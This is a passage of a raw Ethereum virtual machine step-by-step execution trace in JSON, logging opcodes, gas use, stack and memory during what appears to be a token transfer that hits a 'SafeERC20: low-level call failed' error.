9182","44f4000000000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":13291,"op":"DUP2","gas":98724,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2c4","0x5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":13292,"op":"MSTORE","gas":98721,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2c4","0x5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564","0x2c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":13293,"op":"POP","gas":98715,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13294,"op":"DUP6","gas":98713,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13295,"op":"PUSH1","gas":98710,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13297,"op":"PUSH1","gas":98707,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13299,"op":"PUSH1","gas":98704,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13301,"op":"SHL","gas":98701,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13302,"op":"SUB","gas":98698,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13303,"op":"AND","gas":98695,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13304,"op":"PUSH2","gas":98692,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13307,"op":"SWAP1","gas":98689,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x3496"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13308,"op":"SWAP3","gas":98686,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x3496","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13309,"op":"SWAP2","gas":98683,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2a4","0x3496","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","00000000000000000